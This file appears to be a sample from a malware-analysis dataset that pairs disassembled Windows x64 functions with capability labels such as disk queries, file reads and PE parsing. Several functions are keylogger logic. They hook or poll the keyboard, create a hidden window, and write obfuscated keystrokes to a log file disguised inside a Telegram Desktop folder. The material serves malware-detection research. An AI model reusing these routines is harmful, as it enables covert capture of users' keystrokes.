joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140129128
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x250
mov rax, qword [0x1401bd830]
xor rax, rsp
mov qword [rsp + 0x240], rax
lea rdx, [0x1401733b0]
mov rbp, rcx
call fcn.140133d00
xor edi, edi
test rax, rax
je 0x14012920e
mov ebx, edi
call fcn.14011ef00
mov r14d, dword [rax]
call fcn.14011ef00
mov r8d, 0x104
lea rcx, [rsp + 0x30]
mov rdx, rbp
mov dword [rax], edi
call fcn.140133c4c
mov rsi, rax
test rax, rax
je 0x14012919f
call fcn.14011ef00
mov dword [rax], r14d
jmp 0x1401291c9
call fcn.14011ef00
cmp dword [rax], 0x22
jne 0x140129206
call fcn.14011ef00
xor r8d, r8d
mov rdx, rbp
xor ecx, ecx
mov dword [rax], r14d
call fcn.140133c4c
mov rbx, rax
mov rsi, rax
test rax, rax
je 0x140129206
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], di
jne 0x1401291cd
cmp rax, 3
je 0x1401291e8
mov rcx, rsi
call fcn.140129084
test al, al
je 0x1401291f9
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 1
jbe 0x1401291f9
mov dil, 1
mov rcx, rbx
call fcn.14011e248
mov al, dil
jmp 0x140129210
mov rcx, rbx
call fcn.14011e248
xor al, al
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.140111cf0
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x14012d820
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x1401d4ef0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x14012d877
cmp word [rdx], r13w
jne 0x14012d877
or byte [rax + rdi*8 + 0x38], cl
jmp 0x14012d87c
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x14012d9a1
mov r11d, reloc.WS2_32.dll_listen
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x14012d9c2
lea r9, [rdx + 2]
cmp cx, r11w
je 0x14012d8b5
mov rdx, r9
mov word [rbx], cx
jmp 0x14012d8dc
cmp r9, r8
jae 0x14012d8ec
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x14012d896
jmp 0x14012d9a1
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14012d996
cmp dword [rsp + 0x80], esi
je 0x14012d996
lea r8, [0x1401d4ef0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x14012d96e
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x14012d93e
mov word [rbx], r13w
jmp 0x14012d99e
mov ecx, reloc.WS2_32.dll_listen
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x14012d94b
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x14012d99e
cmp word [rsp + 0x70], r13w
jne 0x14012d97b
cmp rbx, r14
je 0x14012d938
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.140129798
cmp word [rsp + 0x70], r13w
je 0x14012d9a1
mov ecx, reloc.WS2_32.dll_listen
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x1401d4ef0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x14012d99b
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x14012d9a1
Function at 0x140132a24
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140132a3a
mov al, 1
jmp 0x140132a9a
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140132a4b
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140132a98
mov ecx, dword [rcx + 0x18]
nop
call fcn.14013442c
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140132a98
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140132a98
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140132a98
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140132a9a
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x140134c20
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.140129798
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.140129798
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x140134d70
cmp rax, 0xffffffffffffffff
je 0x140134d70
xor edi, edi
test rbp, rbp
jle 0x140134d1b
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.14012f2a8
mov rbx, rax
test rax, rax
jne 0x140134ca8
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x140134d11
mov edx, 0x8000
mov ecx, r14d
call fcn.14012b9d4
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.14012ebd8
cmp eax, 0xffffffff
je 0x140134cf1
cdqe
sub rbp, rax
test rbp, rbp
jg 0x140134cb8
mov edx, r15d
mov ecx, r14d
call fcn.14012b9d4
jmp 0x140134d11
cmp byte [rsi + 0x38], dil
je 0x140134d08
cmp dword [rsi + 0x34], 5
jne 0x140134d08
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
cmp byte [rsi + 0x30], dil
je 0x140134d11
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.14012f320
jmp 0x140134d84
jns 0x140134d84
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.140129798
cmp rax, 0xffffffffffffffff
jne 0x140134d3c
cmp byte [rsi + 0x30], dil
je 0x140134d84
mov edi, dword [rsi + 0x2c]
jmp 0x140134d84
mov ecx, r14d
call fcn.14013442c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x140134d84
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, reloc.WS2_32.dll_listen
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], reloc.WS2_32.dll_listen
jmp 0x140134d84
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x140134d7d
mov eax, dword [rsi + 0x2c]
jmp 0x140134d82
mov eax, reloc.WS2_32.dll_shutdown
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.140129798
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x140136690
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1401366c0
xor eax, eax
jmp 0x140136783
mov rbp, rbx
cmp word [rax], si
je 0x1401366e5
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1401366cc
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1401366c8
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.140134dd0
movsxd r14, eax
test eax, eax
jne 0x140136723
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1401366b9
mov rcx, r14
call fcn.140130ac0
mov rdi, rax
test rax, rax
jne 0x14013673c
xor ecx, ecx
call fcn.14012f320
jmp 0x140136718
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.140134dd0
test eax, eax
jne 0x14013676d
mov rcx, rdi
call fcn.14012f320
jmp 0x140136777
xor ecx, ecx
call fcn.14012f320
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1401367a0
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x140136827
mov rsi, rbx
cmp word [rax], bp
je 0x1401367e6
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1401367d0
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1401367cc
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.140130ac0
mov rdi, rax
test rax, rax
je 0x140136814
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140113bc0
mov rbp, rdi
xor ecx, ecx
call fcn.14012f320
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140139888
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x1401bd830]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp ecx, 0x1a
jbe 0x1401398d2
call fcn.14011eee0
mov dword [rax], reloc.WS2_32.dll_ntohs
call fcn.14011ef00
mov dword [rax], reloc.WS2_32.dll_listen
call fcn.14011e5e0
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.140111cf0
add rsp, 0x30
pop rbx
ret
xor ebx, ebx
test ecx, ecx
jne 0x1401398dd
lea eax, [rbx + 1]
jmp 0x1401398bf
add cx, 0x40
mov dword [rsp + 0x22], 0x5c003a
mov word [rsp + 0x20], cx
lea rcx, [rsp + 0x20]
mov word [rsp + 0x26], bx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
test eax, eax
je 0x1401398bd
cmp eax, 1
setne bl
mov eax, ebx
jmp 0x1401398bf
Function at 0x140139fac
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14011ef38
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14013a036
cmp byte [rbp - 0x21], r15b
je 0x14013a031
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14013a06c
call fcn.14012f5c8
test eax, eax
jne 0x14013a058
cmp byte [rbp - 0x21], r15b
je 0x14013a050
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14013a06c
cmp byte [rbp - 0x21], r15b
je 0x14013a069
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140128684
test eax, eax
jne 0x14013a10c
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14011ef38
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14013a0ab
cmp byte [rbp - 0x21], r15b
je 0x14013a0e0
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14013a0e0
call fcn.14012f5c8
test eax, eax
jne 0x14013a0cc
cmp byte [rbp - 0x21], r15b
je 0x14013a0c5
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14013a0e0
cmp byte [rbp - 0x21], r15b
je 0x14013a0dd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140128684
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14013a10c
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14013a10f
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14013a11d
mov rcx, rdi
call fcn.14012f320
cmp byte [rbp + 0x3f], r15b
je 0x14013a12c
mov rcx, qword [rbp + 0x27]
call fcn.14012f320
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140001070
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov rdi, rcx
mov dword [rsp + 0x28], 0x80
lea rcx, str.C:Users_boykovadymal_appdata_roaming_telegram_desktopmodulesx64commonlog.dat
mov dword [rsp + 0x20], 4
lea edx, [r9 + 4]
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbp, rax
mov rbx, 0xffffffffffffffff
inc rbx
cmp word [rdi + rbx*2], 0
jne 0x1400010c2
add rbx, rbx
mov rcx, rbx
call fcn.140007ee0
xor r8d, r8d
mov rsi, rax
cmp rbx, 8
jb 0x1400011e4
cmp dword [0x140020018], 2
jl 0x1400011e4
lea ecx, [rbx - 1]
movsxd rdx, ecx
add rax, rdx
lea rcx, [rdx + rdi]
cmp rsi, rcx
ja 0x14000110f
cmp rax, rdi
jae 0x1400011e4
mov rdx, rbx
and rdx, 0xfffffffffffffff8
movdqa xmm4, xmmword [0x14001d890]
lea r9, [rsi + 4]
movdqa xmm5, xmmword [0x14001d8a0]
mov eax, 8
mov rcx, rdi
sub rcx, rsi
movd xmm3, eax
nop dword [rax]
pmovzxbd xmm1, dword [rcx + r9 - 4]
xorps xmm0, xmm0
lea r9, [r9 + 8]
paddd xmm1, xmm4
add r8d, 8
pcmpgtd xmm0, xmm1
movsxd rax, r8d
pand xmm0, xmm5
paddd xmm0, xmm1
psrad xmm0, xmm3
pslld xmm0, xmm3
psubd xmm1, xmm0
pshuflw xmm0, xmm1, 0xd8
pshufhw xmm1, xmm0, 0xd8
xorps xmm0, xmm0
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001d8b0]
packuswb xmm2, xmm2
movd dword [r9 - 0xc], xmm2
pmovzxbd xmm1, dword [rcx + r9 - 8]
paddd xmm1, xmm4
pcmpgtd xmm0, xmm1
pand xmm0, xmm5
paddd xmm0, xmm1
psrad xmm0, xmm3
pslld xmm0, xmm3
psubd xmm1, xmm0
pshuflw xmm0, xmm1, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x14001d8b0]
packuswb xmm2, xmm2
movd dword [r9 - 8], xmm2
cmp rax, rdx
jb 0x140001140
movsxd rax, r8d
cmp rax, rbx
jae 0x140001218
lea rcx, [rax + rsi]
sub rdi, rsi
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rcx + rdi]
lea rcx, [rcx + 1]
sub al, 0x7c
inc r8d
mov byte [rcx - 1], al
movsxd rax, r8d
cmp rax, rbx
jb 0x140001200
lea r9, [0x140022420]
mov qword [rsp + 0x20], 0
mov r8d, ebx
mov rdx, rsi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call fcn.140007ecc
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x140001260
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x70
mov rax, qword [0x140020008]
xor rax, rsp
mov qword [rsp + 0x68], rax
movsx esi, cx
call qword [sym.imp.USER32.dll_GetForegroundWindow]
mov rcx, rax
lea rdx, [rsp + 0x40]
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, eax
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
mov ecx, 0x100
mov rbx, rax
call fcn.140007ee0
mov rcx, rax
mov rdi, rax
call qword [sym.imp.USER32.dll_GetKeyboardState]
xorps xmm0, xmm0
mov qword [rsp + 0x30], rbx
mov ecx, esi
mov dword [rsp + 0x28], 0
lea r9, [rsp + 0x48]
mov dword [rsp + 0x20], 0x10
mov r8, rdi
mov edx, esi
movups xmmword [rsp + 0x48], xmm0
movups xmmword [rsp + 0x58], xmm0
call qword [sym.imp.USER32.dll_ToUnicodeEx]
lea rcx, [rsp + 0x48]
call fcn.140001070
mov rcx, rdi
call fcn.140007ecc
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1400019b0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x1400017e0
Capabilities:
Check if file exists
Get file attributes
Log keystrokes via application hook

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0xf0
mov rax, qword [0x140020008]
xor rax, rsp
mov qword [rsp + 0xe0], rax
mov rdi, rcx
lea rcx, str.C:Users_boykovadymal_appdata_roaming_telegram_desktopmodulesx64commonlog.dat
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140001818
test al, 0x10
je 0x140001824
lea rcx, [0x140020a00]
call fcn.140001070
xor r9d, r9d
lea rdx, [0x140001320]
mov r8, rdi
lea ecx, [r9 + 0xd]
call qword [sym.imp.USER32.dll_SetWindowsHookExW]
mov rbx, rax
test rax, rax
je 0x140001909
mov rax, qword [sym.imp.USER32.dll_DefWindowProcW]
lea rcx, [rsp + 0x60]
xorps xmm0, xmm0
mov qword [rsp + 0x108], rbp
xorps xmm1, xmm1
mov qword [rsp + 0x110], rsi
lea rsi, str.HiddenWindowClass
mov qword [rsp + 0x60], 0x50
xor ebp, ebp
mov qword [rsp + 0xa0], rsi
movdqa xmmword [rsp + 0x70], xmm0
movdqa xmmword [rsp + 0x80], xmm1
movdqa xmmword [rsp + 0x90], xmm0
mov qword [rsp + 0xa8], rbp
mov qword [rsp + 0x68], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov qword [rsp + 0x58], rbp
lea r8, str.Hidden_Window
mov qword [rsp + 0x50], rdi
xor r9d, r9d
mov qword [rsp + 0x48], rbp
mov rdx, rsi
mov qword [rsp + 0x40], 0xfffffffffffffffd
xor ecx, ecx
mov dword [rsp + 0x38], ebp
mov dword [rsp + 0x30], ebp
mov dword [rsp + 0x28], ebp
mov dword [rsp + 0x20], ebp
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rsi, qword [rsp + 0x110]
mov rbp, qword [rsp + 0x108]
test rax, rax
jne 0x140001910
mov rcx, rbx
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov eax, 1
jmp 0x140001971
xor r9d, r9d
lea rcx, [rsp + 0xb0]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
je 0x140001966
nop word [rax + rax]
lea rcx, [rsp + 0xb0]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rsp + 0xb0]
call qword [sym.imp.USER32.dll_DispatchMessageW]
xor r9d, r9d
lea rcx, [rsp + 0xb0]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.USER32.dll_GetMessageW]
test eax, eax
jne 0x140001930
mov rcx, rbx
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
xor eax, eax
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.1400019b0
mov rbx, qword [rsp + 0x118]
add rsp, 0xf0
pop rdi
ret

Function at 0x1400023d8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002422
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002422
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002422
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002422
cmp dword [rcx + 0x84], 0xe
jbe 0x140002422
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002424
xor al, al
add rsp, 0x28
ret

Function at 0x140008b08
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x1400088f8
Function at 0x14000d140
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000d170
xor eax, eax
jmp 0x14000d233
mov rbp, rbx
cmp word [rax], si
je 0x14000d195
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000d17c
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000d178
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000d090
movsxd r14, eax
test eax, eax
jne 0x14000d1d3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000d169
mov rcx, r14
call fcn.1400098fc
mov rdi, rax
test rax, rax
jne 0x14000d1ec
xor ecx, ecx
call fcn.1400098c0
jmp 0x14000d1c8
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000d090
test eax, eax
jne 0x14000d21d
mov rcx, rdi
call fcn.1400098c0
jmp 0x14000d227
xor ecx, ecx
call fcn.1400098c0
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x1400143d0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400143f8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400143f8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400012b0
Capabilities:
Terminate process

Disassembly:
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x40
mov r15, r9
mov r14, r8
mov ebx, edx
mov rdi, rcx
mov rax, qword [0x140007a80]
xor rax, rsp
mov qword [rsp + 0x38], rax
call sub.libcrypto_3_x64.dll_EVP_CIPHER_CTX_new
test rax, rax
je 0x14000136e
mov rsi, rax
call sub.libcrypto_3_x64.dll_EVP_aes_256_cbc
mov qword [rsp + 0x20], r15
mov rcx, rsi
mov rdx, rax
xor r8d, r8d
mov r9, r14
call sub.libcrypto_3_x64.dll_EVP_DecryptInit_ex
cmp eax, 1
jne 0x14000136e
mov r14, qword [rsp + 0x90]
mov dword [rsp + 0x20], ebx
lea r8, [rsp + 0x34]
mov rcx, rsi
mov rdx, r14
mov r9, rdi
call sub.libcrypto_3_x64.dll_EVP_DecryptUpdate
cmp eax, 1
jne 0x14000136e
movsxd rdi, dword [rsp + 0x34]
add r14, rdi
lea r8, [rsp + 0x34]
mov rcx, rsi
mov rdx, r14
call sub.libcrypto_3_x64.dll_EVP_DecryptFinal_ex
cmp eax, 1
jne 0x14000136e
add edi, dword [rsp + 0x34]
mov rcx, rsi
call sub.libcrypto_3_x64.dll_EVP_CIPHER_CTX_free
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001880
mov eax, edi
add rsp, 0x40
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.Bir_hata_olustu.
call section..text
mov rcx, rax
call fcn.140001270
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x140001ff8
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002042
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002042
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140002042
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002042
cmp dword [rcx + 0x84], 0xe
jbe 0x140002042
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002044
xor al, al
add rsp, 0x28
ret